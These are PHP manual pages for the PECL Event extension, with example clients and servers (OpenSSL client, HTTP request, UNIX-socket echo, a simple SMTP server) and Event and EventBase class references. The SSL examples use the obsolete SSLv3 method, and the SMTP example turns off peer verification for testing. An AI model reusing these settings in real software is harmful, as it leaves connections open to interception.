$base->dispatch();

Example #10 OpenSSL connection

<?php
/*
 * Sample OpenSSL client.
 *
 * Usage:
 * 1) Launch a server, e.g.:
 * $ php examples/https.php 9999
 *
 * 2) Launch the client in another terminal:
 * $ php examples/ssl-connection.php 9999
 */

function _request_handler($req, $base) {
    echo __FUNCTION__, PHP_EOL;

    if (is_null($req)) {
        echo "Timed out\n";
    } else {
        $response_code = $req->getResponseCode();

        if ($response_code == 0) {
            echo "Connection refused\n";
        } elseif ($response_code != 200) {
            echo "Unexpected response: $response_code\n";
        } else {
            echo "Success: $response_code\n";
            $buf = $req->getInputBuffer();
            echo "Body:\n";
            while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
                echo $s, PHP_EOL;
            }
        }
    }

    $base->exit(NULL);
}

function _init_ssl() {
    $ctx = new EventSslContext(EventSslContext::SSLv3_CLIENT_METHOD, array ());

    return $ctx;
}

// Allow to override the port
$port = 9999;
if ($argc > 1) {
    $port = (int) $argv[1];
}
if ($port <= 0 || $port > 65535) {
    exit("Invalid port\n");
}
$host = '127.0.0.1';

$ctx = _init_ssl();
if (!$ctx) {
    trigger_error("Failed creating SSL context", E_USER_ERROR);
}

$base = new EventBase();
if (!$base) {
    trigger_error("Failed to initialize event base", E_USER_ERROR);
}

$conn = new EventHttpConnection($base, NULL, $host, $port, $ctx);
$conn->setTimeout(50);

$req = new EventHttpRequest("_request_handler", $base);
$req->addHeader("Host", $host, EventHttpRequest::OUTPUT_HEADER);
$buf = $req->getOutputBuffer();
$buf->add("<html>HTML TEST</html>");
//$req->addHeader("Content-Length", $buf->length, EventHttpRequest::OUTPUT_HEADER);
//$req->addHeader("Connection", "close", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_POST, "/dump");

$base->dispatch();
echo "END\n";
?>

Example #11 EventHttpConnection::makeRequest() example

<?php
function _request_handler($req, $base) {
    echo __FUNCTION__, PHP_EOL;

    if (is_null($req)) {
        echo "Timed out\n";
    } else {
        $response_code = $req->getResponseCode();

        if ($response_code == 0) {
            echo "Connection refused\n";
        } elseif ($response_code != 200) {
            echo "Unexpected response: $response_code\n";
        } else {
            echo "Success: $response_code\n";
            $buf = $req->getInputBuffer();
            echo "Body:\n";
            while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
                echo $s, PHP_EOL;
            }
        }
    }

    $base->exit(NULL);
}

$address = "127.0.0.1";
$port = 80;

$base = new EventBase();
$conn = new EventHttpConnection($base, NULL, $address, $port);
$conn->setTimeout(5);
$req = new EventHttpRequest("_request_handler", $base);

$req->addHeader("Host", $address, EventHttpRequest::OUTPUT_HEADER);
$req->addHeader("Content-Length", "0", EventHttpRequest::OUTPUT_HEADER);
$conn->makeRequest($req, EventHttpRequest::CMD_GET, "/index.cphp");

$base->loop();
?>

The above example will output something similar to:

_request_handler
Success: 200
Body:
PHP, date:
2013-03-13T20:27:52+05:00

Example #12 Connection listener based on a UNIX domain socket

<?php
/*
 * Simple echo server based on libevent's connection listener.
 *
 * Usage:
 * 1) In one terminal window run:
 *
 * $ php unix-domain-listener.php [path-to-socket]
 *
 * 2) In another terminal window open up connection
 * to the socket, e.g.:
 *
 * $ socat - GOPEN:/tmp/1.sock
 *
 * 3) Start typing. The server should repeat the input.
 */

class MyListenerConnection {
    private $bev, $base;

    public function __destruct() {
        if ($this->bev) {
            $this->bev->free();
        }
    }

    public function __construct($base, $fd) {
        $this->base = $base;

        $this->bev = new EventBufferEvent($base, $fd, EventBufferEvent::OPT_CLOSE_ON_FREE);

        $this->bev->setCallbacks(array($this, "echoReadCallback"), NULL,
            array($this, "echoEventCallback"), NULL);

        if (!$this->bev->enable(Event::READ)) {
            echo "Failed to enable READ\n";
            return;
        }
    }

    public function echoReadCallback($bev, $ctx) {
        // Copy all the data from the input buffer to the output buffer
        $bev->output->addBuffer($bev->input);
    }

    public function echoEventCallback($bev, $events, $ctx) {
        if ($events & EventBufferEvent::ERROR) {
            echo "Error from bufferevent\n";
        }

        if ($events & (EventBufferEvent::EOF | EventBufferEvent::ERROR)) {
            $bev->free();
            $bev = NULL;
        }
    }
}

class MyListener {
    public $base,
        $listener,
        $socket;
    private $conn = array();

    public function __destruct() {
        foreach ($this->conn as &$c) $c = NULL;
    }

    public function __construct($sock_path) {
        $this->base = new EventBase();
        if (!$this->base) {
            echo "Couldn't open event base";
            exit(1);
        }

        if (file_exists($sock_path)) {
            unlink($sock_path);
        }

         $this->listener = new EventListener($this->base,
             array($this, "acceptConnCallback"), $this->base,
             EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE, -1,
             "unix:$sock_path");

        if (!$this->listener) {
            trigger_error("Couldn't create listener", E_USER_ERROR);
        }

        $this->listener->setErrorCallback(array($this, "accept_error_cb"));
    }

    public function dispatch() {
        $this->base->dispatch();
    }

    // This callback is invoked when there is data to read on $bev
    public function acceptConnCallback($listener, $fd, $address, $ctx) {
        // We got a new connection! Set up a bufferevent for it. */
        $base = $this->base;
        $this->conn[] = new MyListenerConnection($base, $fd);
    }

    public function accept_error_cb($listener, $ctx) {
        $base = $this->base;

        fprintf(STDERR, "Got an error %d (%s) on the listener. "
            ."Shutting down.\n",
            EventUtil::getLastSocketErrno(),
            EventUtil::getLastSocketError());

        $base->exit(NULL);
    }
}

if ($argc <= 1) {
    exit("Socket path is not provided\n");
}
$sock_path = $argv[1];

$l = new MyListener($sock_path);
$l->dispatch();
?>

Example #13 Simple SMTP server

<?php
 /*
 * Author: Andrew Rose <hello at andrewrose dot co dot uk>
 *
 * Usage:
 * 1) Prepare cert.pem certificate and privkey.pem private key files.
 * 2) Launch the server script
 * 3) Open TLS connection, e.g.:
 *      $ openssl s_client -connect localhost:25 -starttls smtp -crlf
 * 4) Start testing the commands listed in `cmd` method below.
 */

class Handler {
    public $domainName = FALSE;
    public $connections = [];
    public $buffers = [];
    public $maxRead = 256000;

    public function __construct() {
        $this->ctx = new EventSslContext(EventSslContext::SSLv3_SERVER_METHOD, [
            EventSslContext::OPT_LOCAL_CERT  => 'cert.pem',
            EventSslContext::OPT_LOCAL_PK    => 'privkey.pem',
            //EventSslContext::OPT_PASSPHRASE  => '',
            EventSslContext::OPT_VERIFY_PEER => false, // change to true with authentic cert
            EventSslContext::OPT_ALLOW_SELF_SIGNED => true // change to false with authentic cert
        ]);

        $this->base = new EventBase();
        if (!$this->base) {
            exit("Couldn't open event base\n");
        }

        if (!$this->listener = new EventListener($this->base,
            [$this, 'ev_accept'],
            $this->ctx,
            EventListener::OPT_CLOSE_ON_FREE | EventListener::OPT_REUSEABLE,
            -1,
            '0.0.0.0:25'))
        {
            exit("Couldn't create listener\n");
        }

        $this->listener->setErrorCallback([$this, 'ev_error']);
        $this->base->dispatch();
    }

    public function ev_accept($listener, $fd, $address, $ctx) {
        static $id = 0;
        $id += 1;

        $this->connections[$id]['clientData'] = '';
        $this->connections[$id]['cnx'] = new EventBufferEvent($this->base, $fd,
            EventBufferEvent::OPT_CLOSE_ON_FREE);

        if (!$this->connections[$id]['cnx']) {
            echo "Failed creating buffer\n";
            $this->base->exit(NULL);
            exit(1);
        }

        $this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL,
            [$this, 'ev_error'], $id);
        $this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);

        $this->ev_write($id, '220 '.$this->domainName." wazzzap?\r\n");
    }

    function ev_error($listener, $ctx) {
        $errno = EventUtil::getLastSocketErrno();

        fprintf(STDERR, "Got an error %d (%s) on the listener. Shutting down.\n",
            $errno, EventUtil::getLastSocketError());

        if ($errno != 0) {
            $this->base->exit(NULL);
            exit();
        }
    }

    public function ev_close($id) {
        $this->connections[$id]['cnx']->disable(Event::READ | Event::WRITE);
        unset($this->connections[$id]);
    }

    protected function ev_write($id, $string) {
        echo 'S('.$id.'): '.$string;
        $this->connections[$id]['cnx']->write($string);
    }

    public function ev_read($buffer, $id) {
        while($buffer->input->length > 0) {
            $this->connections[$id]['clientData'] .= $buffer->input->read($this->maxRead);
            $clientDataLen = strlen($this->connections[$id]['clientData']);

            if($this->connections[$id]['clientData'][$clientDataLen-1] == "\n"
                && $this->connections[$id]['clientData'][$clientDataLen-2] == "\r")
            {
                // remove the trailing \r\n
                $line = substr($this->connections[$id]['clientData'], 0,
                    strlen($this->connections[$id]['clientData']) - 2);

                $this->connections[$id]['clientData'] = '';
                $this->cmd($buffer, $id, $line);
            }
        }
    }

    protected function cmd($buffer, $id, $line) {
        switch ($line) {
            case strncmp('EHLO ', $line, 4):
                $this->ev_write($id, "250-STARTTLS\r\n");
                $this->ev_write($id, "250 OK ehlo\r\n");
                break;

            case strncmp('HELO ', $line, 4):
                $this->ev_write($id, "250-STARTTLS\r\n");
                $this->ev_write($id, "250 OK helo\r\n");
                break;

            case strncmp('QUIT', $line, 3):
                $this->ev_write($id, "250 OK quit\r\n");
                $this->ev_close($id);
                break;

            case strncmp('STARTTLS', $line, 3):
                $this->ev_write($id, "220 Ready to start TLS\r\n");
                $this->connections[$id]['cnx'] = EventBufferEvent::sslFilter($this->base,
                    $this->connections[$id]['cnx'], $this->ctx,
                    EventBufferEvent::SSL_ACCEPTING,
                    EventBufferEvent::OPT_CLOSE_ON_FREE);
                $this->connections[$id]['cnx']->setCallbacks([$this, "ev_read"], NULL, [$this, 'ev_error'], $id);
                $this->connections[$id]['cnx']->enable(Event::READ | Event::WRITE);
                break;

            default:
                echo 'unknown command: '.$line."\n";
                break;
        }
    }
}

new Handler();

User Contributed Notes

There are no user contributed notes for this page.


Event flags

Event::READ This flag indicates an event that becomes active when the provided file descriptor (usually a stream resource, or socket) is ready for reading.

Event::WRITE flag indicates an event that becomes active when the provided file descriptor (usually a stream resource, or socket) is ready for writing.

Event::SIGNAL used to implement signal detection. See "Constructing signal events" below.

Event::TIMEOUT indicates an event that becomes active after a timeout elapses. The Event::TIMEOUT flag is ignored when constructing an event: one can either set a timeout when event is added , or not. It is set in the $what argument to the callback function when a timeout has occurred.

See also » Fast portable non-blocking network programming with Libevent, Working with events, Event flags

User Contributed Notes

There are no user contributed notes for this page.


About event persistence

By default, whenever a pending event becomes active (because its file descriptor is ready to read or write, or because its timeout expires), it becomes non-pending right before its callback is executed. Thus, to make the event pending again one may call Event::add() on it again from inside the callback function.

If the Event::PERSIST flag is set on an event, however, the event is persistent . This means that event remains pending even when its callback is activated. Event::del() method can be called to make it non-pending.

The timeout on a persistent event resets whenever the event's callback runs. Thus, if one has an event with flags Event::READ | Event::PERSIST and a timeout of five seconds, the event will become active:

  1. Whenever the socket or file descriptor is ready for reading.

  2. Whenever five seconds have passed since the event last became active.

See also » Fast portable non-blocking network programming with Libevent, About Event Persistence

User Contributed Notes

There are no user contributed notes for this page.


Event callbacks

If a callback is registered for an event, it will be called when the event becomes active. To associate a callback with event one can pass a callable to whether Event::__construct() , or Event::set() , or one of the factory methods like Event::timer() .

An event callback should match the following prototype:

void callback ([ mixed $fd = NULL [, int $what [, mixed $arg = NULL ]]] )

fd

The file descriptor, stream resource or socket associated with the event. For signal event fd is equal to the signal number.

what

Bit mask of all events triggered.

arg

User custom data.

Event::timer() expects the callback to match the following prototype:

void callback ([ mixed $arg = NULL ] )

arg

User custom data.

Event::signal() expects the callback to match the following prototype:

void callback ([ int $signum [, mixed $arg = NULL ]] )

signum

The number of the triggered signal(e.g. SIGTERM ).

arg

User custom data.

User Contributed Notes

xilon dot jul at gmail dot com 28-May-2013 12:23
For event timers, the callback prototype is equivalent to sockets related callback. User arguments are given as the third parameter.

This has been tested under : Event version 1.6.1


Constructing signal events

Event can also watch for POSIX-style signals. To construct a handler for a signal, use Event::__construct() constructor with Event::SIGNAL flag, or Event::signal() factory method.

Example #1 Handling SIGTERM signal

<?php
/*
Launch it in a terminal window:

$ php examples/signal.php

In another terminal window find out the pid and send SIGTERM, e.g.:

$ ps aux | grep examp
ruslan    3976  0.2  0.0 139896 11256 pts/1    S+   10:25   0:00 php examples/signal.php
ruslan    3978  0.0  0.0   9572   864 pts/2    S+   10:26   0:00 grep --color=auto examp
$ kill -TERM 3976

At the first terminal window you should catch the following:

Caught signal 15
*/
class MyEventSignal {
    private $base, $ev;

    public function __construct($base) {
        $this->base = $base;
        $this->ev = Event::signal($base, SIGTERM, array($this, 'eventSighandler'));
        $this->ev->add();
    }

    public function eventSighandler($no, $c) {
        echo "Caught signal $no\n";
        $this->base->exit();
    }
}

$base = new EventBase();
$c    = new MyEventSignal($base);

$base->loop();
?>

Note that signal callbacks are run in the event loop after the signal occurs, so it is safe for them to call functions that you are not supposed to call from a regular POSIX signal handler.

See also » Fast portable non-blocking network programming with Libevent, Constructing Signal Events .

User Contributed Notes

There are no user contributed notes for this page.


The Event class

(PECL event >= 1.2.6-beta)

Introduction

Event class represents and event firing on a file descriptor being ready to read from or write to; a file descriptor becoming ready to read from or write to(edge-triggered I/O only); a timeout expiring; a signal occuring; a user-triggered event.

Every event is associated with EventBase . However, event will never fire until it is added (via Event::add() ). An added event remains in pending state until the registered event occurs, thus turning it to active state. To handle events user may register a callback which is called when event becomes active. If event is configured persistent , it remains pending. If it is not persistent, it stops being pending when it's callback runs. Event::del() method deletes event, thus making it non-pending. By means of Event::add() method it could be added again.

Class synopsis

final Event {
/* Constants */
const integer ET = 32 ;
const integer PERSIST = 16 ;
const integer READ = 2 ;
const integer WRITE = 4 ;
const integer SIGNAL = 8 ;
const integer TIMEOUT = 1 ;
/* Properties */
public readonly bool $pending ;
/* Methods */
public bool add ([ double $timeout ] )
public bool addSignal ([ double $timeout ] )
public bool addTimer ([ double $timeout ] )
public __construct ( EventBase $base , mixed $fd , int $what , callable $cb [, mixed $arg = NULL ] )
public bool del ( void )
public bool delSignal ( void )
public bool delTimer ( void )
public void free ( void )
public static array getSupportedMethods ( void )
public bool pending ( int $flags )
public bool set ( EventBase $base , mixed $fd [, int $what [, callable $cb [, mixed $arg ]]] )
public bool setPriority ( int $priority )
public bool setTimer ( EventBase $base , callable $cb [, mixed $arg ] )
public static Event signal ( EventBase $base , int $signum , callable $cb [, mixed $arg ] )
public static Event timer ( EventBase $base , callable $cb [, mixed $arg ] )
}

Properties

pending

Whether event is pending. See About event persistence .

Predefined Constants

Event::ET

Indicates that the event should be edge-triggered, if the underlying event base backend supports edge-triggered events. This affects the semantics of Event::READ and Event::WRITE .

Event::PERSIST

Indicates that the event is persistent. See About event persistence .

Event::READ

This flag indicates an event that becomes active when the provided file descriptor(usually a stream resource, or socket) is ready for reading.

Event::WRITE

This flag indicates an event that becomes active when the provided file descriptor(usually a stream resource, or socket) is ready for reading.

Event::SIGNAL

Used to implement signal detection. See "Constructing signal events" below.

Event::TIMEOUT

This flag indicates an event that becomes active after a timeout elapses.

The Event::TIMEOUT flag is ignored when constructing an event: one can either set a timeout when event is added , or not. It is set in the $what argument to the callback function when a timeout has occurred.

Table of Contents

  • Event::add — Makes event pending
  • Event::addSignal — Makes signal event pending
  • Event::addTimer — Makes timer event pending
  • Event::__construct — Constructs Event object
  • Event::del — Makes event non-pending
  • Event::delSignal — Makes signal event non-pending
  • Event::delTimer — Makes timer event non-pending
  • Event::free — Make event non-pending and free resources allocated for this event.
  • Event::getSupportedMethods — Returns array with of the names of the methods supported in this version of Libevent
  • Event::pending — Detects whether event is pending or scheduled
  • Event::set — Re-configures event
  • Event::setPriority — Set event priority
  • Event::setTimer — Re-configures timer event
  • Event::signal — Constructs signal event object
  • Event::timer — Constructs timer event object

User Contributed Notes

There are no user contributed notes for this page.


Makes event pending

  • « Event
  • Event::addSignal »
  • PHP Manual
  • Event
  • Makes event pending

Event::add

(PECL libevent >= 0.0.1)

Event::add — Makes event pending

Description

public bool Event::add ([ double $timeout ] )

Marks event pending. Non-pending event will never occur, and the event callback will never be called. In conjuction with Event::del() an event could be re-scheduled by user at any time.

If Event::add() is called on an already pending event, libevent will leave it pending and re-schedule it with the given timeout(if specified). If in this case timeout is not specified, Event::add() has no effect.

Parameters

timeout

Timeout in seconds.

Return Values

Returns TRUE on success. Otherwise FALSE

See Also

  • Event::addSignal() - Makes signal event pending
  • Event::addTimer() - Makes timer event pending
  • Event::del() - Makes event non-pending

User Contributed Notes

There are no user contributed notes for this page.


Makes signal event pending

  • « Event::add
  • Event::addTimer »
  • PHP Manual
  • Event
  • Makes signal event pending

Event::addSignal

(PECL event >= 1.2.6-beta)

Event::addSignal — Makes signal event pending

Description

public bool Event::addSignal ([ double $timeout ] )

Event::addSignal() is an alias of Event::add()

Examples

Example #1 Event::addSignal() example

<?php
/*
Launch it in a terminal window:

$ php examples/signal.php

In another terminal window find out the pid and send SIGTERM, e.g.:

$ ps aux | grep examp
ruslan    3976  0.2  0.0 139896 11256 pts/1    S+   10:25   0:00 php examples/signal.php
ruslan    3978  0.0  0.0   9572   864 pts/2    S+   10:26   0:00 grep --color=auto examp
$ kill -TERM 3976

At the first terminal window you should catch the following:

Caught signal 15
*/
class MyEventSignal {
    private $base, $ev;

    public function __construct($base) {
        $this->base = $base;
        $this->ev = Event::signal($base, SIGTERM, array($this, 'eventSighandler'));
        $this->ev->addSignal();
    }

    public function eventSighandler($no, $c) {
        echo "Caught signal $no\n";
        $this->base->exit();
    }
}

$base = new EventBase();
$c    = new MyEventSignal($base);

$base->loop();
?>

The above example will output something similar to:

Caught signal 15

See Also

  • Event::add() - Makes event pending
  • Event::del() - Makes event non-pending
  • Event::delSignal() - Makes signal event non-pending
  • Event::signal() - Constructs signal event object

User Contributed Notes

There are no user contributed notes for this page.


Makes timer event pending

  • « Event::addSignal
  • Event::__construct »
  • PHP Manual
  • Event
  • Makes timer event pending

Event::addTimer

(PECL event >= 1.2.6-beta)

Event::addTimer — Makes timer event pending

Description

public bool Event::addTimer ([ double $timeout ] )

Event::addTimer() is an alias of Event::add()

Return Values

Examples

Example #1 Event::addTimer() example

<?php
$base = new EventBase();
$n = 2;
$e = Event::timer($base, function($n) use (&$e) {
    echo "$n seconds elapsed\n";
    $e->delTimer();
}, $n);
$e->addTimer($n);
$base->loop();
?>

The above example will output something similar to:

2 seconds elapsed

See Also

  • Event::add() - Makes event pending
  • Event::del() - Makes event non-pending
  • Event::delTimer() - Makes timer event non-pending

User Contributed Notes

There are no user contributed notes for this page.


Constructs Event object

  • « Event::addTimer
  • Event::del »
  • PHP Manual
  • Event
  • Constructs Event object

Event::__construct

(PECL event >= 1.2.6-beta)

Event::__construct — Constructs Event object

Description

public Event::__construct ( EventBase $base , mixed $fd , int $what , callable $cb [, mixed $arg = NULL ] )

Constructs Event object.

Parameters

base

The event base to associate with.

fd

stream resource, socket resource, or numeric file descriptor. For timer events pass -1 . For signal events pass the signal number, e.g. SIGHUP .

what

Event flags. See Event flags .

cb

The event callback. See Event callbacks .

arg

Custom data. If specified, it will be passed to the callback when event triggers.

Return Values

Returns Event object.

See Also

  • Event::signal() - Constructs signal event object
  • Event::timer() - Constructs timer event object

User Contributed Notes

There are no user contributed notes for this page.


Makes event non-pending

  • « Event::__construct
  • Event::delSignal »
  • PHP Manual
  • Event
  • Makes event non-pending

Event::del

(PECL libevent >= 0.0.1)

Event::del — Makes event non-pending

Description

public bool Event::del ( void )

Removes an event from the set of monitored events, i.e. makes it non-pending.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success. Otherwise FALSE

See Also

  • Event::add() - Makes event pending

User Contributed Notes

There are no user contributed notes for this page.


Makes signal event non-pending

  • « Event::del
  • Event::delTimer »
  • PHP Manual
  • Event
  • Makes signal event non-pending

Event::delSignal

(PECL event >= 1.2.6-beta)

Event::delSignal — Makes signal event non-pending

Description

public bool Event::delSignal ( void )

Event::delSignal() is an alias of Event::del()

See Also

  • Event::del() - Makes event non-pending

User Contributed Notes

There are no user contributed notes for this page.


Makes timer event non-pending

  • « Event::delSignal
  • Event::free »
  • PHP Manual
  • Event
  • Makes timer event non-pending

Event::delTimer

(PECL event >= 1.2.6-beta)

Event::delTimer — Makes timer event non-pending

Description

public bool Event::delTimer ( void )

Event::delTimer() is an alias of Event::del() .

See Also

  • Event::del() - Makes event non-pending

User Contributed Notes

There are no user contributed notes for this page.


Make event non-pending and free resources allocated for this event.

  • « Event::delTimer
  • Event::getSupportedMethods »
  • PHP Manual
  • Event
  • Make event non-pending and free resources allocated for this event.

Event::free

(PECL libevent >= 0.0.1)

Event::free — Make event non-pending and free resources allocated for this event.

Description

public void Event::free ( void )

Removes event from the list of events monitored by libevent, and free resources allocated for the event.

Warning

The Event::free() method currently doesn't destruct the object itself. To destruct the object completely call unset() , or assign NULL.

Parameters

This function has no parameters.

Return Values

No value is returned.

See Also

  • Event::__construct() - Constructs Event object

User Contributed Notes

There are no user contributed notes for this page.


Returns array with of the names of the methods supported in this version of Libevent

  • « Event::free
  • Event::pending »
  • PHP Manual
  • Event
  • Returns array with of the names of the methods supported in this version of Libevent

Event::getSupportedMethods

(PECL event >= 1.2.6-beta)

Event::getSupportedMethods — Returns array with of the names of the methods supported in this version of Libevent

Description

public static array Event::getSupportedMethods ( void )

Returns array with of the names of the methods(backends) supported in this version of Libevent.

Parameters

This function has no parameters.

Return Values

Returns array.

See Also

  • EventConfig

User Contributed Notes

There are no user contributed notes for this page.


Detects whether event is pending or scheduled

  • « Event::getSupportedMethods
  • Event::set »
  • PHP Manual
  • Event
  • Detects whether event is pending or scheduled

Event::pending

(PECL event >= 1.2.6-beta)

Event::pending — Detects whether event is pending or scheduled

Description

public bool Event::pending ( int $flags )

Detects whether event is pending or scheduled

Parameters

flags

One of, or a composition of the following constants: Event::READ , Event::WRITE , Event::TIMEOUT , Event::SIGNAL .

Return Values

Returns TRUE if event is pending or scheduled. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Re-configures event

  • « Event::pending
  • Event::setPriority »
  • PHP Manual
  • Event
  • Re-configures event

Event::set

(PECL libevent >= 0.0.1)

Event::set — Re-configures event

Description

public bool Event::set ( EventBase $base , mixed $fd [, int $what [, callable $cb [, mixed $arg ]]] )

Re-configures event. Note, this function doesn't invoke obsolete libevent's event_set. It calls event_assign instead.

Parameters

base

The event base to associate the event with.

fd

A stream, socket resource, or numeric file descriptor; for signal events pass -1 .

what

See Event flags .

cb

The event callback. See Event callbacks .

arg

Custom data associated with the event. It will be passed to the callback when the event becomes active.

Return Values

Returns TRUE on success. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Set event priority

  • « Event::set
  • Event::setTimer »
  • PHP Manual
  • Event
  • Set event priority

Event::setPriority

(PECL event >= 1.2.6-beta)

Event::setPriority — Set event priority

Description

public bool Event::setPriority ( int $priority )

Set event priority.

Parameters

priority

The event priority.

Return Values

Returns TRUE on success. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Re-configures timer event

  • « Event::setPriority
  • Event::signal »
  • PHP Manual
  • Event
  • Re-configures timer event

Event::setTimer

(PECL event >= 1.2.6-beta)

Event::setTimer — Re-configures timer event

Description

public bool Event::setTimer ( EventBase $base , callable $cb [, mixed $arg ] )

Re-configures timer event. Note, this function doesn't invoke obsolete libevent's event_set . It calls event_assign instead.

Parameters

base

The event base to associate with.

cb

The timer event callback. See Event callbacks .

arg

Custom data. If specified, it will be passed to the callback when event triggers.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • Event::__construct() - Constructs Event object
  • Event::timer() - Constructs timer event object

User Contributed Notes

There are no user contributed notes for this page.


Constructs signal event object

  • « Event::setTimer
  • Event::timer »
  • PHP Manual
  • Event
  • Constructs signal event object

Event::signal

(PECL event >= 1.2.6-beta)

Event::signal — Constructs signal event object

Description

public static Event Event::signal ( EventBase $base , int $signum , callable $cb [, mixed $arg ] )

Constructs signal event object. This is a straightforward method to create a signal event. Note, the generic Event::__construct() method can contruct signal event objects too.

Parameters

base

The associated event base object.

signum

The signal number.

cb

The signal event callback. See Event callbacks .

arg

Custom data. If specified, it will be passed to the callback when event triggers.

Return Values

Returns Event object on success. Otherwise FALSE.

See Also

  • Constructing signal events

User Contributed Notes

There are no user contributed notes for this page.


Constructs timer event object

  • « Event::signal
  • EventBase »
  • PHP Manual
  • Event
  • Constructs timer event object

Event::timer

(PECL event >= 1.2.6-beta)

Event::timer — Constructs timer event object

Description

public static Event Event::timer ( EventBase $base , callable $cb [, mixed $arg ] )

Constructs timer event object. This is a straightforward method to create a timer event. Note, the generic Event::__construct() method can contruct signal event objects too.

Parameters

base

The associated event base object.

cb

The signal event callback. See Event callbacks .

arg

Custom data. If specified, it will be passed to the callback when event triggers.

Return Values

Returns Event object on success. Otherwise FALSE.

User Contributed Notes

There are no user contributed notes for this page.


The EventBase class

(PECL event >= 1.2.6-beta)

Introduction

EventBase class represents libevent's event base structure. It holds a set of events and can poll to determine which events are active.

Each event base has a method , or a backend that it uses to determine which events are ready. The recognized methods are: select , poll , epoll , kqueue , devpoll , evport and win32 .

To configure event base to use, or avoid specific backend EventConfig class can be used.

Warning

Do NOT destroy the EventBase object as long as resources of the associated Event objects are not released. Otherwise, it will lead to unpredictable results!

Class synopsis

final EventBase {
/* Constants */
const integer LOOP_ONCE = 1 ;
const integer LOOP_NONBLOCK = 2 ;
const integer NOLOCK = 1 ;
const integer STARTUP_IOCP = 4 ;
const integer NO_CACHE_TIME = 8 ;
const integer EPOLL_USE_CHANGELIST = 16 ;
/* Methods */
public __construct ([ EventConfig $cfg ] )
public void dispatch ( void )
public bool exit ([ double $timeout ] )
public int getFeatures ( void )
public string getMethod ([ EventConfig $cfg ] )
public double getTimeOfDayCached ( void )
public bool gotExit ( void )
public bool gotStop ( void )
public bool loop ([ int $flags ] )
public bool priorityInit ( int $n_priorities )
public bool reInit ( void )
public bool stop ( void )
}

Predefined Constants

EventBase::LOOP_ONCE

Flag used with EventBase::loop() method which means: "block until libevent has an active event, then exit once all active events have had their callbacks run".

EventBase::LOOP_NONBLOCK

Flag used with EventBase::loop() method which means: "do not block: see which events are ready now, run the callbacks of the highest-priority ones, then exit".

EventBase::NOLOCK

Configuration flag. Do not allocate a lock for the event base, even if we have locking set up".

EventBase::STARTUP_IOCP

Windows-only configuration flag. Enables the IOCP dispatcher at startup.

EventBase::NO_CACHE_TIME

Configuration flag. Instead of checking the current time every time the event loop is ready to run timeout callbacks, check after each timeout callback.

EventBase::EPOLL_USE_CHANGELIST

If we are using the epoll backend, this flag says that it is safe to use Libevent's internal change-list code to batch up adds and deletes in order to try to do as few syscalls as possible.

Setting this flag can make code run faster, but it may trigger a Linux bug: it is not safe to use this flag if one has any fds cloned by dup(), or its variants. Doing so will produce strange and hard-to-diagnose bugs.

This flag can also be activated by settnig the EVENT_EPOLL_USE_CHANGELIST environment variable.

This flag has no effect if one winds up using a backend other than epoll .

Table of Contents

  • EventBase::__construct — Constructs EventBase object
  • EventBase::dispatch — Dispatch pending events
  • EventBase::exit — Stop dispatching events
  • EventBase::getFeatures — Returns bitmask of features supported
  • EventBase::getMethod — Returns event method in use
  • EventBase::getTimeOfDayCached — Returns the current event base time
  • EventBase::gotExit — Checks if the event loop was told to exit
  • EventBase::gotStop — Checks if the event loop was told to exit
  • EventBase::loop — Dispatch pending events
  • EventBase::priorityInit — Sets number of priorities per event base
  • EventBase::reInit — Re-initialize event base(after a fork).
  • EventBase::stop — Tells event_base to stop dispatching events

User Contributed Notes

There are no user contributed notes for this page.


Constructs EventBase object

  • « EventBase
  • EventBase::dispatch »
  • PHP Manual
  • EventBase
  • Constructs EventBase object

EventBase::__construct

(PECL event >= 1.2.6-beta)

EventBase::__construct — Constructs EventBase object

Description

public EventBase::__construct ([ EventConfig $cfg ] )

Constructs EventBase object

Parameters

cfg

Optional EventConfig object.

Return Values

Returns EventBase object.

See Also

  • EventConfig

User Contributed Notes

There are no user contributed notes for this page.


Dispatch pending events

  • « EventBase::__construct
  • EventBase::exit »
  • PHP Manual
  • EventBase
  • Dispatch pending events

EventBase::dispatch

(PECL event >= 1.2.6-beta)

EventBase::dispatch — Dispatch pending events

Description

public void EventBase::dispatch ( void )

Wait for events to become active, and run their callbacks. The same as EventBase::loop() with no flags set.

Warning

Do NOT destroy the EventBase object as long as resources of the associated Event objects are not released. Otherwise, it will lead to unpredictable results!

Parameters

This function has no parameters.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBase::loop() - Dispatch pending events

User Contributed Notes

There are no user contributed notes for this page.


Stop dispatching events

  • « EventBase::dispatch
  • EventBase::getFeatures »
  • PHP Manual
  • EventBase
  • Stop dispatching events

EventBase::exit

(PECL event >= 1.2.6-beta)

EventBase::exit — Stop dispatching events

Description

public bool EventBase::exit ([ double $timeout ] )

Tells event base to stop optionally after given number of seconds.

Parameters

timeout

Optional number of seconds after which the event base should stop dispatching events.

Return Values

Returns TRUE on success. Otherwise FALSE.

See Also

  • EventBase::stop() - Tells event_base to stop dispatching events

User Contributed Notes

There are no user contributed notes for this page.


Returns bitmask of features supported

  • « EventBase::exit
  • EventBase::getMethod »
  • PHP Manual
  • EventBase
  • Returns bitmask of features supported

EventBase::getFeatures

(PECL event >= 1.2.6-beta)

EventBase::getFeatures — Returns bitmask of features supported

Description

public int EventBase::getFeatures ( void )

Returns bitmask of features supported.

Parameters

This function has no parameters.

Return Values

Returns integer representing a bitmask of supported features. See EventConfig::FEATURE_* constants .

Examples

Example #1 EventBase::getFeatures() example

<?php
// Avoiding "select" method
$cfg = new EventConfig();
if ($cfg->avoidMethod("select")) {
    echo "`select' method avoided\n";
}

$base = new EventBase($cfg);

echo "Features:\n";
$features = $base->getFeatures();
($features & EventConfig::FEATURE_ET) and print("ET - edge-triggered IO\n");
($features & EventConfig::FEATURE_O1) and print("O1 - O(1) operation for adding/deletting events\n");
($features & EventConfig::FEATURE_FDS) and print("FDS - arbitrary file descriptor types, and not just sockets\n");
?>

See Also

  • EventBase::getMethod() - Returns event method in use
